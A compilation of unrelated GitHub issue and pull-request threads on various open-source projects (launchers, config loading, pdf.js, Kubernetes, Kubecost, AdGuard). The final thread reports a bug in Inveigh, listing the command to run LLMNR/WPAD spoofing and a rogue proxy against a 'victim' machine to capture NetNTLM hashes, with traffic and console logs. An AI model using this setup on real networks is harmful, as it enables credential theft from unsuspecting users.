So do Python plugins need to do anything extra or will the fix handle things as is?

Seems @taooceros https://github.com/Flow-Launcher/Flow.Launcher/pull/537 and https://github.com/Flow-Launcher/Flow.Launcher/pull/538 fix the issue, I tested on 2 python plugins, seems good now.
I don't think the Python plugin side have to change anything

No python side no need to address anything. We will add the initialization of context menu to the template and guide that I will eventually write up if no one has done it lol, but none you need to do extra. It's not compulsory to initialize for python plugins.

So closing this one?


How to do password association verification

One 'input' check triggers another 'input' check;

Intercept one's input and trigger it on the other?


Wrong order of config/autoload

Configuration must load in that order:

global.php
*.global.php
local.php
*.local.php

But in fact, it is not. I am create gist, to prove it https://gist.github.com/ftdebugger/5934533. Here the result:
Array
(
    [0] => config/autoload/global.php
    [1] => config/autoload/local.php
    [2] => config/autoload/some.global.php
    [3] => config/autoload/some.local.php
)

Loading configuration in two steps guaranteed needed order

Any news on this one? I just spend some hours today because the global config was overwriting local config. :tired_face:

tests added, this should be good to merge now

Thanks @stefanotorresi!

@Ocramius ping

@stefanotorresi still requires 2.4, no?

Well actually I just added a simple test, the functionality was already there and was not touched in any way... but yes the test will be merged only in 2.4.

This PR now is ready to merge? :)

:+1: for merging this

Well, that took a lot longer to get merged than I think anyone would have guessed!

Documentation update PR: https://github.com/zendframework/zf2-documentation/pull/1491


Pattern/Shading transformation matrix issues

Currently, when we paint patterns/shadings we apply a base transform then apply the pattern's matrix. This isn't technically correct, instead we should leave the current transform applied and instead use pattern.setTransform. Something like:
matrix =  ctx.mozCurrentTransformInverse;
if (!svgElement) {
  svgElement = document.createElementNS("http://www.w3.org/2000/svg", "svg");
}
let mtx = svgElement.createSVGMatrix();
mtx.a = matrix[0];
mtx.b = matrix[1];
mtx.c = matrix[2];
mtx.d = matrix[3];
mtx.e = matrix[4];
mtx.f = matrix[5];
mtx = mtx.translate(clipped.offsetX, clipped.offsetY);
pattern.setTransform(mtx);

A good PDF for testing this:
https://github.com/mozilla/pdf.js/issues/6769#issuecomment-165476302
And also another PDF that is the same as above but with a pattern matrix of [2, 0, 0, 2, 0, 0] that illuminates some other issues as well:
issue6769_no_matrix.pdf


composeComponents Error!

UriResolver:
return new Uri(Uri::composeComponents(             $base->getScheme(),             $targetAuthority,             $targetPath,             $targetQuery,             $rel->getFragment() ));
Call to undefined method GuzzleHttp\Psr7\Uri::composeComponents()

The method exists: https://github.com/guzzle/psr7/blob/23e7d3812a82bdbff4a5cb8e4628bcc06eec5d68/src/Uri.php#L114
Please give provide the code to reproduce your problem or please explain how you got this error.

Maybe you have an outdated opcache that you need to clear.


jsonpatcher: empty interface timestamp

See https://github.com/textileio/go-threads/pull/416#discussion_r481080485
After trying a few different ways to fix this, I landed on just using interface{} for Timestamp, which allows us to continue bulk-decoding events with potentially mixed Timestamp types.

@sanderpick I've just tested this fix and and now I got the gob encode error for old-format time in the dispatcher.Dispatch() : gob: type not registered for interface: map[string]interface {}
So looks like empty time.Time decoded into map[string]interface which is not auto-registred in the gob


How to calculate the number of parameters and the amount of computation？

I face the same problem, Do you solve it? please


support set custom status

first step for https://github.com/dapr/js-sdk/issues/638
adds support to set custom status to orchestration context and updates tests

ping


Stabilize the OKD 4.1 CI lane

What this PR does / why we need it:

use okd provider with local provisioner
skip CPU pinning tests until https://github.com/kubevirt/kubevirt/pull/2639 fixed

Which issue(s) this PR fixes (optional, in fixes #<issue number>(, fixes #<issue_number>, ...) format, will close the issue(s) when PR gets merged):
Fixes #
Special notes for your reviewer:
Release note:

Stabilize the OKD 4.1 lane

/test pull-kubevirt-e2e-okd-4.1

Close in favor of https://github.com/kubevirt/kubevirt/pull/2623


Reopen Add --list-enabled-extensions #19083

Please reopen #19083. I would like to see this added.

Please comment or upvote the original feature request.


product of two numbers

Description
get two numbers and print the product of them
Domain
CPP
Type of Contribution
No response
Code of Conduct

[X] I follow Contributing Guidelines & Code of conduct of LearnCPP.

assign

\assign

/assign

/assign


Volumes mounted error in certain scenario

Hi
Our team is using private cluster on Azure and install secret-store-csi-driver to retrieve TLS certification.
Everything works fine until we added NSG outbound rules on our cluster subnet to restrict any access to Internet.It is necessary due to our network policy and internal network strategy.
Here's the event logs from the pod
Warning  FailedMount  9m22s (x3 over 16m)  kubelet                   Unable to attach or mount volumes: unmounted volumes=[secrets-store-inline], unattached volumes=[webhook-cert secrets-s tore-inline kube-api-access-c87ph]: timed out waiting for the condition   Warning  FailedMount  8m6s (x5 over 16m)   kubelet                   MountVolume.SetUp failed for volume "secrets-store-inline" : rpc error: code = DeadlineExceeded desc = context deadline  exceeded
My question is that if there's any ip list which shows what will be used by nginx ingress controller to mount certification using secret-store-csi-driver  during pod creation.And so we can allow those ip access in NSG.
Environment:
Secrets Store CSI Driver version: (use the image tag):
Azure Key Vault provider version: (use the image tag):
Kubernetes version: (use kubectl version):
Cluster type: (e.g. AKS, aks-engine, etc): AKS

My question is that if there's any ip list which shows what will be used by nginx ingress controller to mount certification using secret-store-csi-driver during pod creation.And so we can allow those ip access in NSG.

@Lu1234 It's mentioned here: https://learn.microsoft.com/en-us/azure/aks/limit-egress-traffic#csi-secret-store and https://learn.microsoft.com/en-us/azure/aks/limit-egress-traffic#azure-global-required-fqdn--application-rules. You need to allow access to keyvault and AAD.

@aramase
Hi there,it seems that multiple FQDN are required by AKS to keep it working.Deny all internet access in NSG seems to be a bad strategy.I will keep looking for proper network policy to fit in my scenario,thank you for your time.

Closing this issue  with https://github.com/Azure/secrets-store-csi-driver-provider-azure/issues/1058#issuecomment-1379671882. Please feel free to reopen if you have any questions.


Kubecost's Cost Allocation page shows only kubecost's costs

I added Kubecost to my own Prometheus, and the query cost assignment was found to show kubecost costs only. Can anyone offer a reason and a solution?Details are as follows.

The state of the Prometheus:

kubecost version: v1.73
prometheus version: v2.18.2
EKS Version: v1.18.20-eks-8c579e
gz#1037

@hyj-github It looks like you are missing metrics that would be needed when using custom prometheus. First, I suggest you upgrade to v1.88.0 as v1.73 is a much older release and then review the custom prometheus documentation. If you are able to ship with the bundled prometheus that would likely make deployment and maintenance of kubecost much easier.
For further help please email<EMAIL_ADDRESS>or join our slack community.

@hyj-github Customer support for custom prometheus is not available for free/community edition of kubecost. I suggest you revert back to the bundled prometheus if you are unable to debug your custom prometheus deployment. If you are a business/enterprise user please email<EMAIL_ADDRESS>for further assistance with custom prom.

@hyj-github Customer support for custom prometheus is not available for free/community edition of kubecost. I suggest you revert back to the bundled prometheus if you are unable to debug your custom prometheus deployment. If you are a business/enterprise user please email<EMAIL_ADDRESS>for further assistance with custom prom.

Is this why the cost display is abnormal, showing only the cost of Kubecost?

Take a look at the diagnostic page in your Kubecost deployment to learn more.
This looks like a potential honor_labels issue if you only see one namespace...

@hyj-github Please join kubecost.slack.com to get more help! You can join the #support channel or dm me.

@hyj-github Please join kubecost.slack.com to get more help! You can join the #support channel or dm me.

How to register kubecost.slack.com account, need invitation？

@hyj-github You don't need an invitation to join the kubecost slack. You do need a slack account to join. You can create a slack account if you don't have one already by clicking "Don’t have an account yet? Create an account" in the top right corner of the screen.

Oh I guess you have to use this special link: https://join.slack.com/t/kubecost/shared_invite/enQtNTA2MjQ1NDUyODE5LWFjYzIzNWE4MDkz[…]kwMzMyMjIyM2E0NGNmYjExZjBiNjk1YzY5ZDI0ZTNhZDg4NjlkMGRkYzFlZTU


Average of numbers

Why:
Closes https://github.com/codinasion/codinasion/issues/100
What's being changed:

Added a Python program that finds the average of numbers in the program folder

Check off the following:

[x] I have reviewed my changes in staging (look for "Automatically generated comment" and click Modified to view your latest changes).
[x] For content changes, I have completed the self-review checklist.

Reopening


Hide preview gist button

Hide the Preview Gist button when running the extension with Platform authentication.

✅ LGTMT


Add history tab

Implement history.

[x] History should log texts translated in popup and by selection
[ ] Add tab "history" to popup

[x] Tab should contains last 30 translations and infinity scroll with loading older translations
[x] Tab should contains input for search
[x] Each translation must have button to remove
[x] Tab must have button to clear all history
[x] Optionally: link to open page with history

Each entry in history must have property origin which describe where this translation been created (selectTranslation | textTranslation)

Consider complexity of styling popup window of extension for firefox, let's use history in another browser tab.
We may introduce tab in popup later, after refactor popup window and implemented scroll of overflowed content

Done. History implemented as new browser tab


How to install binary on RHEL ?

Describe your problem or question here.
Hi @tsl0922 - What commands do I need to run after copying the binary file on RHEL/CENTOS Linux system ?
I downloaded and copied ttyd_linux.x86_64 binary on the server. Is that the right way to install it?
What command should i run to install it ?

Ops....nevermind...it works with ./ttyd_linux.x86_64 command.


[BUG] Roblox not opening.

Acknowledgement of preliminary instructions

[X] I have read the preliminary instructions, and I am certain that my problem has not already been addressed.

What problem did you encounter?
I have tried removing my fastflags and switching to the default roblox launcher and roblox is still not launching properly.

It is only in the background, I even tried reinstalling and that did not work. Restarting windows did not work either

If you mean that Roblox official launcher isn't working either then its not the bloxtrap devs problem.

If you use MSI Afterburner or RTSS disable them then restart your device, this is a possible solution.

If you use MSI Afterburner or RTSS disable them then restart your device, this is a possible solution.

RTSS is disabled in its own UI, same with MSI. I'm on stock settings. but ill try again

What do you use Raser Synapse for

Only interested if your issue is related to Bloxstrap.


Create Docker image with Chrome and Node:8 base

Current image cypress/browsers:chrome62 is based on cypress:6. Need make cypress/browsers:chrome64 based on cypress:8 image.
Need for testing Cypress Electron + Node upgrade https://github.com/cypress-io/cypress/pull/1275

Any progress on this?

Hmm, I see that I built this image https://github.com/cypress-io/cypress-docker-images/tree/master/browsers/chrome65-ff57 with Chrome 65 and Node 8 - should be what you need. See Docker build log for the actual Chrome and FF versions https://hub.docker.com/r/cypress/browsers/builds/bycxizzlnhyp3tgwnrebjwj/


Reading page: Design team fixes

Exploring and making a couple of changes. There are breaking changes that impact the light theme.

@chrisb-100ms  can you resolve conflict and help move PR to ready to review state ?

@saikatmitra91 merged with main and resolved conflicts


«Adguard Service» causes ERR_SSL_VERSION_OR_CIPHER_MISMATCH on some sites in Chrome

@DandelionSprout commented on Sun Oct 24 2021

Steps to reproduce
This one is very difficult to reproduce on command, but here is what seems to be the case:

Have AdGuard for Windows installed.
Either have AdGuard for Windows turned on, or have its service run in the background.
Go to Settings → Network → Network traffic → List of filtered applications, and ensure that Chrome is unchecked.
Open AdGuard's logger, and browse a bit around in Chrome for some seconds.
See that the logger contains various tcp:// requests from chrome.exe, despite Chrome being supposedly deselected.
With this whole configuration still in use, go to Discord or GitHub in Chrome, and try to upload any images to a new comment. There is a 40% chance that the image upload will result in multiple error messages, sometimes needing up to 10 tries before it gets uploaded once the errors begin to happen.
This also affects saving commits in GitHub's web GUI, where Chrome will show an "ERR_SSL_VERSION_OR_CIPHER_MISMATCH" error page.

Expected behavior

That having AdGuard turned on, does not result in ERR_SSL_VERSION_OR_CIPHER_MISMATCH errors when uploading images to various websites in Chrome.

That tcp:// requests is not processed for executables where filtering has been turned off.

Actual behavior
I began getting a fairly large amount of problems in the past month with ERR_SSL_VERSION_OR_CIPHER_MISMATCH errors when I did work and hobby stuff, and after some weeks of having no idea what was going on, I seem to have pinpointed it to AdGuard. Not necessarily AdGuard for Windows, but my unsure research seem to indicate that this is also caused by the service running in the background. Closing the service fixes the problems instantly.
After further research, it also doesn't seem to be caused by the HTTPS filtering lock symbol next to the application checkbox row is turned on or off.
Screenshot:
None at the time of writing. I'll see if I'd be able to get any on request.

Customer ID
N/A at the time of writing.
Your environment

Environment name and version: Chrome 95.0.4638.54 x64 + AdGuard for Windows 7.7 nightly 27
Operating system and version: Windows 11 RTM x64

@Alex-302 commented on Sun Oct 24 2021
Need debug logs https://kb.adguard.com/en/windows/solving-problems/adguard-logs
Send them to<EMAIL_ADDRESS>I did not face this problem.

@DandelionSprout commented on Sun Oct 24 2021
I've now sent my logs to that E-mail address (Ticket number 546952). I was not immediately able to see any clearcut causes in the logs, so I can only hope you'll understand more of it than me.
It does appear that the errors are far more likely to appear if the image is being pasted into comments from the Windows clipboard, if that is of interest.

I haven't noticed any problems in the past 5 days that I can remember, at least. So I'd declare this to be solved for the time being.


Feature/164 Use Effect.None for Clear function

Closes #163

Changes look good. Can you add the None change to GenericDevice as well? I believe it has the effect too (it's in the Corale.Colore.Razer.Effect enum).
@brandonscott you had some thoughts about the changes I think?

I'm all happy with this PR if no one has any additional thoughts on the line note above.  Nice work @njbmartin :)


Proxy auth but NTLM hash not captured

Hello Kevin,
First I would to thank you for such great tool.
I'm running Inveigh on the "attacker" machine (<IP_ADDRESS>) from an elevated shell using these parameters:
Invoke-Inveigh -IP <IP_ADDRESS> -ConsoleOutput Y -Proxy Y -WPADAuth Anonymous
In the victim machine (<IP_ADDRESS>) sniffing traffic with Wireshark I see the Inveigh host WPAD response:
function FindProxyForURL(url,host){ return "PROXY <IP_ADDRESS>:8492; PROXY <IP_ADDRESS>:8493; DIRECT";}
After that I'm seeing the target browser initiating a request through the proxy, receiving a 407 Unauthorized and executing the challenge response process:
CONNECT www.google.es:443 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive
Content-Length: 0
Proxy-Authorization: NTLM [REDACTED]
Pragma: no-cache
Host: www.google.es

HTTP/1.1 407 Unauthorized
Server: Microsoft-HTTPAPI/2.0
Date: Thu, 09 Apr 2020 18:57:52 GMT
Content-Length: 0
Proxy-Authenticate: NTLM [REDACTED]]
Content-Type: text/html

CONNECT www.google.es:443 HTTP/1.0
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727)
Proxy-Connection: Keep-Alive
Content-Length: 0
Host: www.google.es
Pragma: no-cache
Proxy-Authorization: NTLM [REDACTED]

The console output is confirming the wireshark output captured at the victim machine:
[+] [2020-04-09T18:57:51] LLMNR request for wpad received from <IP_ADDRESS> [response sent]
[+] [2020-04-09T18:57:51] TCP(80) SYN packet detected from <IP_ADDRESS>:59790
[+] [2020-04-09T18:57:51] HTTP(80) GET request for /wpad.dat received from <IP_ADDRESS>:59790
[+] [2020-04-09T18:57:51] HTTP(80) host header wpad received from <IP_ADDRESS>:59790
[+] [2020-04-09T18:57:51] HTTP(80) user agent received from <IP_ADDRESS>:59790:
Mozilla/4.0 (compatible; MSIE 7.0; Win32)
[+] [2020-04-09T18:57:51] TCP(8492) SYN packet detected from <IP_ADDRESS>:59791
[+] [2020-04-09T18:57:52] Proxy(8492) CONNECT request for www.google.es:443 received from <IP_ADDRESS>:59791
[+] [2020-04-09T18:57:52] Proxy(8492) host header www.google.es received from <IP_ADDRESS>:59791
[+] [2020-04-09T18:57:52] Proxy(8492) user agent received from <IP_ADDRESS>:59791:
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727)
[+] [2020-04-09T18:57:52] TCP(8492) SYN packet detected from <IP_ADDRESS>:59792
[+] [2020-04-09T18:57:52] TCP(8493) SYN packet detected from <IP_ADDRESS>:59793
[+] [2020-04-09T18:57:55] TCP(8493) SYN packet detected from <IP_ADDRESS>:59793

Why Inveigh is not able of get the NetNTLM hash?
Thanks in advance!

Same options with Inveigh 1.4 working like a charm

Thanks!, when I merged the NTLM code between SMB and HTTP, I failed to include proxy traffic. I pushed the fix.